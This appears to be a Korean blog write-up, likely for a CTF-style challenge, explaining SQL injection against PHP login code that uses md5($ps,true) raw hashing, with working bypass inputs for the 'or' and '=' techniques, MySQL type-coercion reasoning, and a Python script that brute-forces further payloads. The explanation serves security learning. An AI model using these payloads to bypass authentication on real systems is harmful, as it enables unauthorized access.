PHP md5 (SQL Injection)
문제
PHP md5
- md5 해시화를 이용하여 sql injection 공격을 시도할 수 있다.
 
분석
- php 의 md5 기능을 이용하여 사용자의 입력을 해시화 한다.
 - 해시화 한 값을 이용하여 password 와 비교한다.
 
select * from admin_password where password='".md5($ps,true)."'
- md5(입력,true) : 16자리의 바이너리를 반환한다.
 - md5(입력,flase) : 32 문자열 16진수를 반환한다.
 
공격
방법 1 : or
- or 을 이용하여 password 인증을 우회해보자.
 - 사용자의 입력을 md5 해시화를 진행하여 완성된 값에 
'or'이 존재하면 된다. 
md5(입력,true)= aaa'or'bbb
select * from admin_password where password='aaa'or'bbb'
- 
    
or 앞 부분이 False 여도 뒷 부분이 true 이기 때문에 비밀번호 인증 우회가 가능하다.
 - 
    
sql injection 공격 payload.
 
129581926211651571912466741651878684928
md5 = �T0D��o#��'or'8
방법 2 : =
- = 을 이용하여 password 인증을 우회해보자.
 - 사용자의 입력을 md5 해시화를 진행하여 완성된 값에 
'='문자이 존재하면 된다. 
md5(입력,true) = asdfaskd'='asdf
select * from admin_password where password='asdfaskd'='asdf'
- 원리
 
where password='asdfaskd'='asdf'
는 먼저 앞 부분을 비교한다.
where (password='asdfaskd')='asdf'
where false='asdf' 
여기서 mysql false 의 타입은 tinyint 이고 값은 0 이다.
'asdf' 타입을 SIGNED 즉 int 형으로 바꿔서 비교를 진행한다.
따라서 비교하는 값은 다음과 같다.
where 0=0
- 직접 확인하기.
 
select false='123';
출력 = 0
select false='aaaa';
출력 = 1
- 여기서 주의해야 할 점이 있는데 
'123adfsf'와 같은 형태를 int 형으로 타입 변환하면 123 으로 변환되는 것을 확인할 수 있다. 
select cast('123asdf' as SIGNED);
출력 = 123
- sql injection 공격 payload.
 
98750788
md5 = n�A�nI�^���h'='
하지만 다음 값은 실패한다.
38106544
md5 = &�p'='63@-��
왜냐하면
1. select * from admin_password where password='&�p'='63@-��'
2. select * from admin_password where false='63@-��'
3. select * from admin_password where false=63
4. select * from admin_password where 0=63
0과 63을 비교하는 형태가 되기 때문이다.
평문 값 찾기
- python 을 이용하여 
'='값이 들어가는 평문 값을 쉽게 찾아줄 수 있다. 
from hashlib import md5
key1 = b"'='"
key2 = b"'or'"
for i in range(100_000_000):
    e = md5(str(i).encode()).digest()
    if key1 in e:
        print(f'{key1} : {i} {e}')
    elif key2 in e:
        print(f'{key2} : {i} {e}')
참고 사이트
- int의 종류 및 크기 tinyint, smallint, int, bigint 초간단 정리 (tistory.com)
 - PHP: md5 - Manual
 - mysql 온라인 컴파일러
 - SQL injection with raw MD5 hashes (Leet More CTF 2010 injection 300) - Christian von Kleist (posthaven.com)
 - seunghunoh57/SQL-Injection: This program will generate a password that bypasses a PHP script using raw md5 encryption for its password. (github.com)
 
댓글남기기